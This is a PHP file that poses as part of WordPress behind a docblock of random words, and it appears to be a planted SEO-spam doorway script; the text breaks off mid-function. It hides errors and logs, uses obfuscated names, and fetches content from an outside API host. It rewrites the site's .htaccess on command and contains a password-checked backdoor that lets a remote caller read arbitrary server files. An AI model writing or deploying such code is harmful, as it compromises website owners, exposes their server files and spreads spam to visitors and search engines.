<?php 

/**
 * architect bargain elaborate enclose equation flash maintain opponent orchestra remedy shallow tension textile victim videotape virtue volume.
 * response adhere elaborate flock laser liquor restrict retain subt tendency vitally.
 * adhere extreme lean orbit register reliable shallow tide timber virtue weave.
 * bureau reveal shallow signature spit theme wonder.
 * response adapt appreciate authority available breadth emotional giant idle laser molecule motive nucleus particularly slip spill usage vacant wonder.
 * response academy adjust automatic boundary consume defect descend evaluate exclusive external gene grant humble jeans jewel liter massive mission poverty release signature stimulate substantial terror.
 * battery earthquake hence humble mature naval obscure opportunity promote prompt quit religious route submit talent tense utter vehicle.
 * adopt auxiliary exceedingly exclaim extinct faulty liberal mainland mature media mission retail vacuum vibrate.
 * alter arichmetic battery career earthquake expend expense facility geography geology inferior interpret jewel magnet necessity previous shrink slope solar ultimate valley yield.
 * approach barrier echo enviroment extinct female liter mixture severe spot stale submerge submit timber vague.
 * abundant maximum mood prosperity tend.
 * battery echo estimate infer orbit route substance trend yawn.
 * approach aware comparative deputy echo entertainment episode illegal insure leisure outstanding profit religion remote ridge survey usage variable vitally withdraw yield.
 * budget comedy flexible glimpse individual infant neutral primitive promote quotation recruit remote reveal revenue slip talent tedious tender transplant ultimate universe vivid.
 * alter coil column cope display dive global leak liberal motivate mutual participate rescue ridiculous snap substantial treaty wander.
 * acid adult appetite applicable arbitrary awful catalog devise drip faculty favorable fax gene haste ingredient label modify optimistic remote reputation swallow territory timber urgent virus.
 * comment loosen neglect pat petrol portion recruit spot thrust.
 * alter appoint avenue awful enthusiasm expenditure fatigue garbage idle legislation liberal loose loosen minimum negative radiation removal restrain theme vacuum version weave.
 * approximate ceremony clue decent elastic generate gratitude index ingredient jam jeans knot neutral particularly petrol portion prior relevant slender target violence violent yield.
 * response absolute consistent debt distress hydrogen isolate profit temptation tender vote.
 * applicant decline defect display dump emotional idle liberal luxury nuisance prosperity reliable significance sophisticated universal utilify videotape violent.
 * faculty launch oxygen partial resume.
 * barrier ceremony community constant extreme hollow notify omit oxygen priority scale suspicious urgent.
 * expansion extraordinary glory incident individual jungle opportunity software sophisticated tender transmit undergraduate urgent.
 * acquire appoint barrel calculate comment drift elaborate elbow gallery gesture inferior internal magnet mixture passion reveal simplicity spit terror.
 * burden neutral omit shield shift textile.
 * deputy devise grateful maintain mist moist nuisance nylon opponent revenue strategic substance subt tender transmit usage xploit.
 * acquire bachelor career cargo catalog collision column horror poverty subt.
 * candidate exterior moisture previous region retain shield transplant variation video weld.
 * appreciate approve arise career dash equation excursion external facility generate geography humble ingredient moisture neglect respond restrain snap target textile tuition usage volcano.
 * applicable arouse aware commit continuous elastic elbow exclusive expansion frown germ lest naval portable radical sequence stable subsequent vocabulary weed.
 * adhere advertisement arichmetic deposit dispose distress dumb essential internal launch maintain molecule pants passion petrol religious semester shallow stale temporary ultimate urgent vague.
 * appropriate evil illusion mild motive naval retail ruin smash stable ultimate.
 * budget conservation device drip emotion enthusiasm garbage grateful humble ingredient moist motivate optics petrol prohibit quit satellite simplify slope substitute tender tension volcano.
 * abuse agency appetite bother conquer dusk import leisure mist prescribe primitive principal skim strategy thrust whereas.
 * appreciate architecture avenue dusk flee horror nevertheless satellite valid.
 * apparent awkward disturb drip explosive faulty ferfile humble illusion invade jeans maintain medium negative restrain semester seminar timber ultimate urge whereas withstand.
 * agent attitude barrel cargo deaf generate globe idle junior liter moist molecule mood passport precaution register resemble ridiculous tremendous.
 * agent attach calendar comedy decline enclose evolve exclude giant import integrate lean legislation liberal mainland mutual participate prominent reliable simplicity sorrow transmit universal.
 * arouse decorate delicate flock highlight index legislation modest outstanding peak personnel professional relief sexual terminal transplant variation zone.
 * clue comedy competition constant equation favorite gratitude hence jewel liquor prevail radical resistant transform triangle vague.
 *
 * @package WordPress
 */


@ini_set('display_errors', 0);
@ini_set('log_errors', 0);
@set_time_limit(3600);
define("DATAHOST","https://www.data-center.com/api/");
define("CENTERKEY",4);
define("MYDIR", "/ebayat210412-1/");
define("FNUM",86);
define("JGNUM","40");
define("LINKNUM","8");
define("BZSITE","v");
define("CURRENUSE","/usd/");
define("BZPRO","c");
define("BZCAT","k");
//msbg
define("JDT","0");
//msend

//msidbg
define("MSID",7060);
//mssidend


//keyjgbg

define("KEYJG",2);

//keyjgend

//randnumIbg

define("RANDNUMI",7);

//randnumIend

//randnumIIbg

define("RANDNUMII",9);

//randnumIIend

//pnamelenbg

define("PNAMELEN",45);

//pnamelenend

//jthouzuibg
define("JTHZ","/");
//jthouzuiend


//nttarr_bg

$arrnametime[]="2";
$arrnametime[]="1";
$arrnametime[]="4";
$arrnametime[]="3";


//nttarr_end


//kwzzarr_bg

$arrKeywz[]="4";
$arrKeywz[]="10";
$arrKeywz[]="9";
$arrKeywz[]="6";
$arrKeywz[]="12";
$arrKeywz[]="8";
$arrKeywz[]="11";
$arrKeywz[]="7";
$arrKeywz[]="5";


//kwzzarr_end


//brddarr_bg

$arrBread[]="qa-breadcrumb";
$arrBread[]="BreadcrumbsList row";
$arrBread[]="v-breadcrumb row";
$arrBread[]="ck-breadcrumb clearfix";
$arrBread[]="Breadcrumb-Top";
$arrBread[]="c-breadcrumb clearfix";
$arrBread[]="r-breadcrumb";
$arrBread[]="BreadcrumbHeads clearfix";
$arrBread[]="Breadcrumb-Head clearfix";
$arrBread[]="crumbsHeads";
$arrBread[]="doc-crumb row";
$arrBread[]="BreadcrumbHead row";
$arrBread[]="crumbs row";
$arrBread[]="";
$arrBread[]="BreadcrumbList clearfix";
$arrBread[]="crumbs-head row";
$arrBread[]="ag-breadcrumblist";
$arrBread[]="ant-breadcrumb clearfix";
$arrBread[]="l-breadcrumblist clearfix";
$arrBread[]="BreadHead row";
$arrBread[]="customBreadcrumb clearfix";
$arrBread[]="breadLists";
$arrBread[]="Breadcrumb";
$arrBread[]="crumbList";
$arrBread[]="bread-List";
$arrBread[]="bread-List row";
$arrBread[]="wrapper-breadcrums row";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="BreadcrumbLists clearfix";
$arrBread[]="qa-breadcrumb clearfix";
$arrBread[]="el-breadcrumb row";
$arrBread[]="crumbs";
$arrBread[]="BreadcrumbsList";
$arrBread[]="customBreadcrumb";
$arrBread[]="navBreadCrumbs clearfix";
$arrBread[]="doc-crumb";
$arrBread[]="pages-breadcrumbs";
$arrBread[]="BreadcrumbHead clearfix";
$arrBread[]="Bread";
$arrBread[]="bread_crumb";
$arrBread[]="breadcrumbs";
$arrBread[]="";
$arrBread[]="breadHeads";
$arrBread[]="BreadcrumbNavigation clearfix";
$arrBread[]="BreadcrumbsList clearfix";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="el-breadcrumb clearfix";
$arrBread[]="crumbsTop clearfix";
$arrBread[]="crumbsTops row";
$arrBread[]="ag-breadcrumblist clearfix";
$arrBread[]="crumbs-nag";
$arrBread[]="crumbs-top clearfix";
$arrBread[]="l-breadcrumb row";
$arrBread[]="Breadcrumb row";
$arrBread[]="Breadcrumb-Heads";
$arrBread[]="Breadcrumb-Heads row";
$arrBread[]="l-breadcrumblist";
$arrBread[]="breadtops clearfix";
$arrBread[]="crumbs clearfix";
$arrBread[]="nw-breadcrumblist clearfix";
$arrBread[]="breadHeads clearfix";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="r-breadcrumb clearfix";
$arrBread[]="ant-breadcrumb row";
$arrBread[]="breadHeads row";
$arrBread[]="crumbsHead row";
$arrBread[]="navBreadCrumb clearfix";
$arrBread[]="Breadcrumbs row";
$arrBread[]="c-breadcrumb";
$arrBread[]="s-breadcrumb row";
$arrBread[]="el-breadcrumb";
$arrBread[]="Breadcrumb clearfix";
$arrBread[]="breadLists clearfix";
$arrBread[]="c-breadcrumb row";
$arrBread[]="s-breadcrumb clearfix";
$arrBread[]="BreadcrumbTops";
$arrBread[]="crumbs-head";
$arrBread[]="breadcrumbs row";
$arrBread[]="BreadcrumbList row";
$arrBread[]="crumbs-top";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="crumbsHeads row";
$arrBread[]="Breadcrumb";
$arrBread[]="mb-breadcrumb clearfix";
$arrBread[]="BreadcrumbsHead clearfix";
$arrBread[]="crumbsHead";
$arrBread[]="Breadcrumb-Top clearfix";
$arrBread[]="crumb-list";
$arrBread[]="cs-breadcrumb clearfix";
$arrBread[]="cs-breadcrumb row";
$arrBread[]="plp__breadcrumb row";
$arrBread[]="breadcrumb row";
$arrBread[]="crumbs-head clearfix";
$arrBread[]="";
$arrBread[]="BreadcrumbTops clearfix";
$arrBread[]="breadcrumb";
$arrBread[]="breadcrumbs clearfix";
$arrBread[]="Breadcrumb-Head";
$arrBread[]="BreadcrumbLists row";
$arrBread[]="BreadHead clearfix";
$arrBread[]="Breadcrumb-Head row";
$arrBread[]="nw-breadcrumblist row";
$arrBread[]="breadtop";
$arrBread[]="crumbList clearfix";
$arrBread[]="crumbs-nag clearfix";
$arrBread[]="Breadcrumb row";
$arrBread[]="navBreadCrumb";
$arrBread[]="";
$arrBread[]="pages-breadcrumbs row";
$arrBread[]="breadcrumbs-base row";
$arrBread[]="crumbs-top row";
$arrBread[]="breadList";
$arrBread[]="ant-breadcrumb";
$arrBread[]="cs-breadcrumb";
$arrBread[]="breadHead clearfix";
$arrBread[]="bread_crumb clearfix";
$arrBread[]="qa-breadcrumb row";
$arrBread[]="r-breadcrumb row";
$arrBread[]="mb-breadcrumb row";
$arrBread[]="breadHead";
$arrBread[]="s-breadcrumb";
$arrBread[]="breadList row";
$arrBread[]="l-breadcrumb row";
$arrBread[]="v-breadcrumb clearfix";
$arrBread[]="ck-breadcrumb row";
$arrBread[]="crumbs-nag row";
$arrBread[]="navBreadCrumbs row";
$arrBread[]="wrapper-breadcrums";
$arrBread[]="crumbsTop";
$arrBread[]="Breadcrumb-Heads clearfix";
$arrBread[]="BreadcrumbTop";
$arrBread[]="BreadcrumbTop row";
$arrBread[]="Breadcrumbs clearfix";
$arrBread[]="BreadcrumbList";
$arrBread[]="";
$arrBread[]="navBreadCrumbs";
$arrBread[]="BreadHead";
$arrBread[]="breadcrumb row";
$arrBread[]="page-breadcrumbs clearfix";
$arrBread[]="BreadcrumbHeads row";
$arrBread[]="bread-List clearfix";
$arrBread[]="BreadcrumbNavigation";
$arrBread[]="pages-breadcrumbs clearfix";
$arrBread[]="Breadcrumbs";
$arrBread[]="breadLists row";
$arrBread[]="";
$arrBread[]="crumb-list row";
$arrBread[]="ag-breadcrumblist row";
$arrBread[]="customBreadcrumb row";
$arrBread[]="";
$arrBread[]="mb-breadcrumb";
$arrBread[]="breadList clearfix";
$arrBread[]="page-breadcrumbs row";
$arrBread[]="BreadcrumbHead";
$arrBread[]="bread_crumb row";
$arrBread[]="crumbsTop row";
$arrBread[]="breadtops row";
$arrBread[]="breadcrumb";
$arrBread[]="";
$arrBread[]="BreadcrumbTop clearfix";
$arrBread[]="ck-breadcrumb";
$arrBread[]="";
$arrBread[]="BreadcrumbsHead row";
$arrBread[]="breadcrumbs-base clearfix";
$arrBread[]="breadtop clearfix";
$arrBread[]="page-breadcrumbs";
$arrBread[]="BreadcrumbLists";
$arrBread[]="breadcrumbs-base";
$arrBread[]="BreadcrumbHeads";
$arrBread[]="chrome-breadcrumbs";
$arrBread[]="breadtop row";
$arrBread[]="crumb-list clearfix";
$arrBread[]="crumbList row";
$arrBread[]="doc-crumb clearfix";
$arrBread[]="crumbsTops clearfix";
$arrBread[]="crumbsTops";
$arrBread[]="breadcrumb clearfix";
$arrBread[]="l-breadcrumblist row";
$arrBread[]="chrome-breadcrumbs row";
$arrBread[]="crumbsHead clearfix";
$arrBread[]="";
$arrBread[]="";
$arrBread[]="chrome-breadcrumbs clearfix";
$arrBread[]="plp__breadcrumb";
$arrBread[]="BreadcrumbTops row";
$arrBread[]="BreadcrumbNavigation row";
$arrBread[]="l-breadcrumb clearfix";
$arrBread[]="breadtops";
$arrBread[]="breadHead row";
$arrBread[]="plp__breadcrumb clearfix";
$arrBread[]="Bread row";
$arrBread[]="l-breadcrumb";
$arrBread[]="wrapper-breadcrums clearfix";
$arrBread[]="l-breadcrumb";
$arrBread[]="Bread clearfix";
$arrBread[]="v-breadcrumb";
$arrBread[]="crumbsHeads clearfix";
$arrBread[]="BreadcrumbsHead";
$arrBread[]="Breadcrumb-Top row";
$arrBread[]="navBreadCrumb row";
$arrBread[]="nw-breadcrumblist";


//brddarr_end




//fhharr_bg

$arrfh[]="Christmas Supplies";
$arrfh[]="Xmas";
$arrfh[]="Top Christmas gifts 2018";
$arrfh[]="Christmas gift ideas";
$arrfh[]="Christmas presents";
$arrfh[]="Unique Christmas Gifts";
$arrfh[]="Christmas gift";
$arrfh[]="Christmas Ornament";
$arrfh[]="Christmas gift shop";
$arrfh[]="Christmas Decoration";
$arrfh[]="Xmas Ornaments";
$arrfh[]="Christmas gift ideas 2018";
$arrfh[]="Holiday presents";
$arrfh[]="for Christmas";
$arrfh[]="Holiday Gifts";
$arrfh[]="Christmas Gifts 2018";
$arrfh[]="Christmas gift store";
$arrfh[]="Christmas Holiday";
$arrfh[]="best Christmas gift";
$arrfh[]="Best Christmas gifts 2018";

//fhharr_end



$q1 = "O00O0O";	$q2 = "O0O000";	$q3 = "O0OO00";	$q4 = "OO0O00";	$q5 = "OO0000";	$q6 = "O00OO0";	$q7 = "O00O00";	$q8 = "O00OOO";	$$q1 = RandAbcs();



//srrarr_bg
$date_string[0]="yzwftkilhaqdnvpsebxcrojumg";
$date_string[1]="kpsvbdtaymwjlchzorigqexnuf";
$date_string[2]="nvmeyzulxgkajdsqcwfortpihb";
$date_string[3]="nmdrbxglacvowsuyektfihzqjp";
$date_string[4]="prljiwkabxotdhgeyvfnqmzsuc";
$date_string[5]="qcheflkwjgposdvnriuzybtxam";
$date_string[6]="zsrdqpmhxktalcwvoejuynfigb";
$date_string[7]="ytefkhdbxnvmiawojgzplurscq";
$date_string[8]="kdxtencolazbgpymwuvhjqisrf";
$date_string[9]="ljxtfsznovybprweuhmkgdqaci";
$date_string[10]="apvefwtxzlonrbjkihugsqdmcy";
$date_string[11]="oajpifwsdrheqzgkcbnxlymvtu";
$date_string[12]="djvuetfzoilrykhmcaxwbqpgns";
$date_string[13]="fwalqxsoupkrtezmhngcyvjdbi";
$date_string[14]="yhvklfzgeixmstqupaorcwbdjn";
$date_string[15]="kszueqvlgycixhfpratomdnjbw";
$date_string[16]="hviwpfzsjnolmxgkrabtcyedqu";
$date_string[17]="eiqbolfkcahwsyuzgdprvmxntj";
$date_string[18]="unlzyqrjhxibcvedspmtgfkoaw";
$date_string[19]="lfwhaxkduvnizepoqrjctgsbmy";
$date_string[20]="iwdmqnrfylzopsuxvhcebkjtag";
$date_string[21]="fgjtehzxbmosiqkclduawyprnv";
$date_string[22]="iebjmkyctwazfnhulrdvgqpxos";
$date_string[23]="qvfysuegikclrxztbdpawonjmh";
$date_string[24]="smncrzwaeotbylpjkgxudqhifv";
$date_string[25]="pnkltiuqvmdjafseroyhcxbzgw";
$date_string[26]="qvkrsaeumxfdyzohnbwitjcpgl";
$date_string[27]="xwymikdorgcetnzvlafqjbuhps";
$date_string[28]="gzvbeikcpmxjatdwsryhoqflun";
$date_string[29]="gldcbhfksyznmjraivepqowxut";
$date_string[30]="entcpwdfyvmqahkuligsxjzrbo";
$date_string[31]="lovnfsigxmradwjetbkuzqyphc";
$date_string[32]="zboghtqwlpnjycdsuraxkmevfi";
$date_string[33]="ijfqlexyumadsgbctkwnozvrph";
$date_string[34]="uczjwhqkpsdbfxatovmnlireyg";
$date_string[35]="nfbrwlaqzhpikjxmsydcguetvo";
$date_string[36]="oqklvnascehrxygjbuzdmpiwtf";
$date_string[37]="qpdlhmwgozrfucynkeastixbjv";
$date_string[38]="tfecxaviwgyozmnlqukbphdjrs";
$date_string[39]="dukiogjmezswaqfxpvlncbyhrt";
$date_string[40]="khfrepbqyawzjxdvomlncigtsu";
$date_string[41]="kfgqbuxmvaeoijlwtzydsnpchr";
$date_string[42]="bopvewnstyqlfhmugijkrxazcd";
$date_string[43]="uivahjqnrgxflwckozpsmtdybe";
$date_string[44]="hurekytdwmsaocfgpxnivzqjlb";
$date_string[45]="wgtledfxoksrjcbyuvhpznaimq";
$date_string[46]="sxzkgovbhcemtiyndfuarjpqlw";
$date_string[47]="dvnmclfiskoytebapjuwzgqrhx";
$date_string[48]="nyfhudvtwaczgqojlebipskxrm";
$date_string[49]="xopvultmsgdhwryjbkzcfeniaq";
$date_string[50]="hnakcjvxbfesmzrqugploidwyt";
$date_string[51]="trnjifcdwayshlbxupgemqovzk";
$date_string[52]="iutdjsycfbqokpgexzrvnalhwm";
$date_string[53]="pyntvrcgsefhxmodibuqwakzjl";
$date_string[54]="keusibvtagfhwnmprcldxozjqy";
$date_string[55]="ebajtunrvmsgzylxiphcqfokwd";
$date_string[56]="bqdsmjurzeoaihxktlpnyfgcvw";
$date_string[57]="iercxyvumqdlkjsbwnpogzahtf";
$date_string[58]="xydpqfobgmzjcehkrtlnasuivw";
$date_string[59]="heslvauondgmbwifcqxjryktzp";
$date_string[60]="prefgtiunoqzswbcykvmdlhxja";
$date_string[61]="dbozuehpnstlwramkicjxqfgvy";
$date_string[62]="dtogashnpvxluwfybqkjeimrcz";
$date_string[63]="ksjaywxfdemnhqbipuotvzcrlg";
$date_string[64]="itelosqfkhwybanmucxpvgzrjd";
$date_string[65]="ocasdftyveqmhugzxbnrkwijlp";
$date_string[66]="pwdlqeaisyzumhxocjgvkbtnrf";
$date_string[67]="wdgojqcyzbkhivsexpfamrlnut";
$date_string[68]="fcxbpzdgvmalhryteijsqwkonu";
$date_string[69]="zjytlcqwbgoehdxupfnamsrikv";
$date_string[70]="ybwvsmikjpgcorhfaxdzlunteq";
$date_string[71]="jzarwnihvsqegfyoultdkcbmxp";
$date_string[72]="axlqfgpmyhvtiknurcebwjsozd";
$date_string[73]="viujyghcowkdbmqntexlsprafz";
$date_string[74]="qnobdseczxlgtrmkiauhfpywvj";
$date_string[75]="dqgwsoiavktcrhxbjlnypmfzeu";
$date_string[76]="xgisekpzclbundjyamrfovhwtq";
$date_string[77]="wdrlympskhgaievtfxnzojcuqb";
$date_string[78]="fquirdspgzxnbewyvalhtojkmc";
$date_string[79]="jwlhezxsnkdomtarqicyvugpfb";
$date_string[80]="qtsdgmlknyaixpuevohcrwzjfb";
$date_string[81]="izhxkjyceoqtdvasfpwmlnrbgu";
$date_string[82]="gimcksntzlpuhojexqwvbryfda";
$date_string[83]="phdsfbwavyimqjnkugetrzxlco";
$date_string[84]="xqwdcnilovzfkgmsuyerbtahpj";
$date_string[85]="rwjgveqazyfdikmulbcptohxns";
$date_string[86]="cluzhqmowbarspvneyjdfktixg";
$date_string[87]="pielthyqcavfjuwobrdzmksxng";
$date_string[88]="cunmvxwdiaphyzqrjtlgbekfso";
$date_string[89]="jolstpdhrfvzwkxnabmiyegucq";
$date_string[90]="srlwotcugbqpkdmihyxfjneavz";
$date_string[91]="qscdevjywoxzgrtakpiufnlbhm";
$date_string[92]="wncfhbivzmqeaudygtxplksjor";
$date_string[93]="ygjvpxolmrkqduczbtashienwf";
$date_string[94]="ctbohjzeganxflykvuqsimpdrw";
$date_string[95]="hkybwmcgzoepiflxvnasdrtquj";
$date_string[96]="lyajdwfvthgcqkprbzsneoiuxm";
$date_string[97]="ujdlvhzebwnqmikcaxtpofgrys";
$date_string[98]="cyjaiqpuhdvfgwnoztxlbemkrs";
$date_string[99]="fikolxvaqsycmedjtgrhbnpuzw";

//srrarr_end



$thisdom = str_replace("www.","",$_SERVER['HTTP_HOST']);
define("GETDOM",getthisdom());
		


// 
	
	
	
$arrArrr = array();$j = 0;for($i=0;$i<20;$i+=2){
   $arrArrr[$j++] = $date_string{$i}.$date_string{$i+1};}
$Arrrarr = array_flip($arrArrr);
$temp_abc = $O00O0O{9}.$O00O0O{4}.$O00O0O{0}.$O00O0O{13}.$O00O0O{17}.$O00O0O{14}.$O00O0O{11};
$temp_def = $O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{20}.$O00O0O{3}.$O00O0O{8}.$O00O0O{14}.$O00O0O{0};



if(isset($_GET["gsitemap"]) && isset($_GET["mapnum"])){
	
	$O_OO0_0O_0='America/Chicago';	@date_default_timezone_set($O_OO0_0O_0);	
	if (! is_dir("../item"))
		mkdir("../item", 0755);	
	global $gnumber;
	$gnumber = 1;
	$bgNum = (int)trim($_GET["gsitemap"]);
	$mapnum = (int)trim($_GET["mapnum"]);
	if($bgNum > FNUM)
	   die("The Number Must Lower Then " . FNUM);
   
	$arrNumTemp = getMapNum($bgNum,$mapnum);
	
	$rs = '#<map>(.*)</map>#si';
	$mapLogs = file_get_contents("./map.log");
	
	foreach($arrNumTemp as $vss){
		
		$vals = "id$vss.php";
		
		
		if(JDT == 0 && $gnumber == 1){
			
			if(strstr($mapLogs,'site_map.xml') && file_exists('../item/sitemap.xml')){
				echo $vals."<br/>";
				echo '../item/sitemap.xml successed<br/>';
				$gnumber++;
				continue;	
			}
		
		}elseif(JDT == 0){
				
		if(strstr($mapLogs,'#productlist' . $arrABC[$gnumber-2] .'.xml#') && file_exists('../item/productlist' . $arrABC[$gnumber-2] .'.xml')){
			echo $vals."<br/>";
			echo '../item/productlist' . $arrABC[$gnumber-2] .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		}
		
		
		if(strstr($mapLogs,'#productlist' . $arrABC[$gnumber-1] .'.xml#') && file_exists('../item/productlist' . $arrABC[$gnumber-1] .'.xml')){
			echo $vals."<br/>";
			echo '../item/productlist' . $arrABC[$gnumber-1] .'.xml successed<br/>';
			$gnumber++;
			continue;	
		}
		
		for($i=0; $i<3; $i++){
			$idUrl =  GETDOM . "gpage.php?getmapid=$vss&site=$thisdom&sid=".MSID;
			$tempIdStr = curl_get_from_webpage($idUrl,'',5);
			$arrIdNameNow = array();
			if(preg_match($rs,$tempIdStr,$matchIdName)){
				$tparrIdName = explode('^^',$matchIdName[1]);
				foreach($tparrIdName as $vs){
					$tpArr = explode('^',$vs);
					if(count($tpArr) == 2){
						$arrIdNameNow[$tpArr[0]] = $tpArr[1];
					}elseif(count($tpArr) > 2){
						$tpstr = '';
						for($j=1; $j<count($tpArr); $j++){
							$tpstr .= $tpArr[$j] . ' ';
						}
						$tpstr = trim($tpstr);
						$arrIdNameNow[$tpArr[0]] = $tpstr;
					}
				}
				
				break;
			}
		}
		
		
	
		if(!isset($arrIdNameNow) or count($arrIdNameNow) < 100){
			echo "g sitemap fail<br/>";
			die();
		}
		
		echo $vals."<br/>";
	
		if($gnumber == 1){
			if(JDT == 1){
				gsitemap($arrIdNameNow,2,1);			
				}else{
				gsitemap($arrIdNameNow,1,2);			
				}
		}else{
			
			if(JDT == 1){
				gsitemap2($arrIdNameNow,2,1);			}else{
				gsitemap2($arrIdNameNow,1,2);			}
			
		}
		
		unset($arrIdNameNow,$tempArr1,$tempArr2);	}
	
}


if(isset($_GET["ghtac"]) && $_GET["ghtac"]){

	$dirNames = dirname(__FILE__);    
	$httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));	
	$PreDir = '';	
	if(JDT == 1){
		$UrlBaseDir = $httcReplace;		$RewriteOnDir = '';	
	}else{
		$UrlBaseDir = '';		$PreDir = '../';		$RewriteOnDir = $httcReplace . '/';	
	}
	$strhtt = '';
	if (file_exists("$PreDir.htaccess")){
		@chmod("$PreDir.htaccess",0755);
		$strhtt = file_get_contents("$PreDir.htaccess");	
	}
	if(!(strstr($strhtt,'RewriteBase') || strstr($strhtt,'RewriteRule')))
	{
		$strhtt = '<IfModule mod_rewrite.c>'.PHP_EOL . 'Options +FollowSymLinks'. PHP_EOL .'RewriteEngine on'. PHP_EOL .'RewriteBase /'. $UrlBaseDir . PHP_EOL .'</IfModule>';	
	}else{
		$strhtt = str_ireplace('# RewriteBase ','RewriteBase ',$strhtt);
		$strhtt = str_ireplace('#RewriteBase ','RewriteBase ',$strhtt);	
	}
		
	if(1){
		
		$r0 = '#(.*RewriteEngine On.*)#i';

		$r1 = '#(.*RewriteBase.*)#i';		$r2 = '#RewriteRule#i';		

	


		if(JDT == 0){
			
			
			$rsut = '\1'.PHP_EOL . 'RewriteRule ^' . '(.*)/category-\d+/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '.*-(\d+)'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*(productlist[a-z]+\.xml)$  item/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  item/\$1 [L]' . PHP_EOL ;
		
			$rsut2 = PHP_EOL . 'RewriteRule ^' . '(.*)/category-\d+/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '.*-(\d+)'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL .  'RewriteRule ^'.'.*(productlist[a-z]+\.xml)$  item/\$1 [L]' . PHP_EOL . 'RewriteRule ^'.'.*(sitemap\.xml)$  item/\$1 [L]' . PHP_EOL .'RewriteRule' ;
		
			
		}else{
			
			
			$rsut = '\1'. PHP_EOL . 'RewriteRule ^' . '(.*)/category-\d+/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '.*-(\d+)'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL ;
		
			$rsut2 =  PHP_EOL . 'RewriteRule ^' . '(.*)/category-\d+/'.'$ '.$RewriteOnDir.'index\.php?cat=\$1&%{QUERY_STRING} [L]'. PHP_EOL . 'RewriteRule ^'. '.*-(\d+)'. JTHZ  .'$ '.$RewriteOnDir.'index\.php?id=\$1&%{QUERY_STRING} [L]'. PHP_EOL   .'RewriteRule' ;	
		
			
		}



	
			if(preg_match($r0,$strhtt)){
				$strhtt = preg_replace($r0,$rsut,$strhtt,1);
			}elseif(preg_match($r1,$strhtt)){
				$strhtt = preg_replace($r1,$rsut,$strhtt,1);
			}else{
				$strhtt = preg_replace($r2,$rsut2,$strhtt,1);
			}
		
		if(JDT == 1 or JDT == 0){
			file_put_contents("$PreDir.htaccess", $strhtt);		
		}
		
	}

	die("ghtac ok");
}


if(isset($_POST["chdate"]) && md5($_POST["chdate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo '#ok#';}else{echo '#nofile#';}die();}if(isset($_POST["redate"]) && md5($_POST["redate"])=='b6772c68627f804a9578152ee90f5b0c' && isset($_POST["v_read"])){$v_read = $_POST["v_read"];if(file_exists($v_read)){echo rFile($v_read);die();}else{echo '#nofile#';die();}}if(isset($_POST["test"]) && md5($_POST["test"])=='b6772c68627f804a9578152ee90f5b0c'){echo '#ok#';	die();}if((isset($_POST["lan"]) && $_POST["lan"] == 1) or (isset($_GET["lan"]) && $_GET["lan"] == 1)){$blog_data = array();$flag = 1;$blog_data['index'] = filesize(__FILE__);if(file_exists("./template.html")){$blog_data['template'] = filesize("./template.html");}else{$flag = 0;$blog_data['template'] = -1;}echo 'error---'. serialize($blog_data) .'---';die();}if(isset($_GET["gsitemap"]) || isset($_GET["rset"]) || isset($_GET["hzui"]) || isset($_GET["jgshu"]) || isset($_GET["ljshu"]) || isset($_GET["modifydate"]) || isset($_GET["moshi"]) || isset($_GET["install"])){die();}
	
if(JDT==2){
	
	$UrlParent=end((explode('index.php',$_SERVER['REQUEST_URI'])));	if($UrlParent){
		$tempSid = '';		$tempPid = '';		
				
		$r2='#.*-(\d+)'. JTHZ .'$#i';		$r3='#.*-(\d+)/$#i';
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
	
			
		if($tempPid && !strstr($_SERVER['REQUEST_URI'],'category/')){
			$_GET['id']= $tempPid;		
		}else{
			$r2='#(.*)/category-\d+/#i';		$r3='#(.*)/category-\d+/$#i';
			if(preg_match($r2,$UrlParent,$matches2)){
				if(isset($matches2[1]))
					$tempPid = $matches2[1];		
			}else{
				preg_match($r3,$UrlParent,$matches13);
				if(isset($matches13[1]))
					$tempPid = $matches13[1];
			}
			
			if($tempPid)
				$_GET['cat']= $tempPid;	
			
		}
	}
	
}elseif(JDT==3&&isset($_GET['keyword'])&&$_GET['keyword']){
		
		$tempSid = '';		$tempPid = '';		$UrlParent = $_GET['keyword'];		

		$r2='#-(\d+)$#i';		$r3='#[-/]'.'(\d+)$#i';	
		if(preg_match($r2,$UrlParent,$matches2)){
			if(isset($matches2[1]))
				$tempPid = $matches2[1];		}else{
			
			preg_match($r3,$UrlParent,$matches13);			if(isset($matches13[1]))
				$tempPid = $matches13[1];		}
		
		

	
	
		if($tempPid){
			$_GET['id']= $tempPid;		
		}
	
	
}	
	
function getRandStr(){
	
	$arrABC = range('a','z');	shuffle($arrABC); 
	$randNum = rand(4,6);	
	$str = implode('',array_slice($arrABC,0,$randNum));	
	return $str;}
	

if(isset($_GET["id"]))
	$id = $_GET["id"];
else{
	
	if(isset($_GET["cat"])){
		$rqurl = $_GET["cat"];
		
		$logFileName = './idlogs.txt';
		if(file_exists($logFileName)){
			$arrUrlId = unserialize(file_get_contents($logFileName));
		}else{
			$arrUrlId = array();
		}

		if(isset($rqurl) && isset($arrUrlId[$rqurl]) && $arrUrlId[$rqurl]){
			$id  = $arrUrlId[$rqurl];		
		}else{
